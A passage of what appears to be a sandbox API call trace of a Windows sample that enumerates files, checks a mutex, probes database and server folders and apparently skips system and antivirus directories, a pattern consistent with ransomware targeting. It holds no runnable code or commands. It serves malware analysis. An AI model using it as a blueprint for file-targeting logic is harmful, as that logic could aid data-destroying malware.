[0283.229] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.229] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.229] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.229] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.229] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.229] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.229] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.229] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.229] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.229] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.229] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.229] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.229] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.229] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.229] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.229] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.229] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.229] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.230] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.230] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.230] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.230] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.230] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.230] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.230] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.230] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.230] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.230] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.230] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.230] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.230] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.230] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.230] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.230] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.230] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.230] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.230] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.230] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.231] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.231] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.231] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.231] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.231] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.231] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.231] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.231] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.231] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.231] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.231] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.231] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.231] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.231] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.231] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.231] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.231] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.231] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.231] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.232] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.232] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.232] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.232] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.232] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.232] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.232] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.232] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.232] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.232] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.232] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.232] GetLastError () returned 0x12 [0283.232] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.232] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.232] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.232] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.232] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.232] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.232] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.233] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.233] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.233] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.233] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.233] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.233] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.233] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.233] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.233] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.233] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.233] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.233] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.233] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.233] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.233] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.233] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.233] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.234] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\2070", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\2070") returned 1 [0283.234] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.234] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.234] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.234] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.234] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.234] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.234] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.234] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.234] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.234] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.234] GetLastError () returned 0x3 [0283.234] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.234] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cea8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0283.234] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.235] GetLastError () returned 0x2 [0283.235] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cea8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0283.235] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.235] GetLastError () returned 0x2 [0283.235] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0283.235] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.235] GetLastError () returned 0x2 [0283.235] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0283.235] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.236] GetLastError () returned 0x2 [0283.236] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.236] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0283.236] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.236] GetLastError () returned 0x2 [0283.236] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.236] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0283.236] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.236] GetLastError () returned 0x2 [0283.236] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.236] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0283.236] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.236] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.236] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.237] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.237] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.237] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.237] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.237] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.237] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.237] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.237] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0283.237] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.237] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0283.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0283.237] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.237] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.237] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.237] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0283.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.237] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.237] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.237] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.238] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.238] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.238] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.238] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.238] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.238] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.238] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.238] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.238] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.238] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0283.238] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0283.238] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0283.238] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0283.239] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.239] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0283.239] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2070\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2070\\") returned 0x1b [0283.239] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0283.239] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0283.239] SHGetPathFromIDListW (in: pidl=0x6e4678, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.241] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.241] IMalloc:Free (This=0x75e4d000, pv=0x6e4678) [0283.241] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0283.241] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0283.242] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.242] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.242] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.242] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.242] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.242] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.242] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.242] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.242] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.242] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.242] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.242] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.242] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.242] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.242] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.242] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.242] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.242] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.242] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.242] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.243] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.243] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.243] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.243] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.243] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.243] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0283.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, 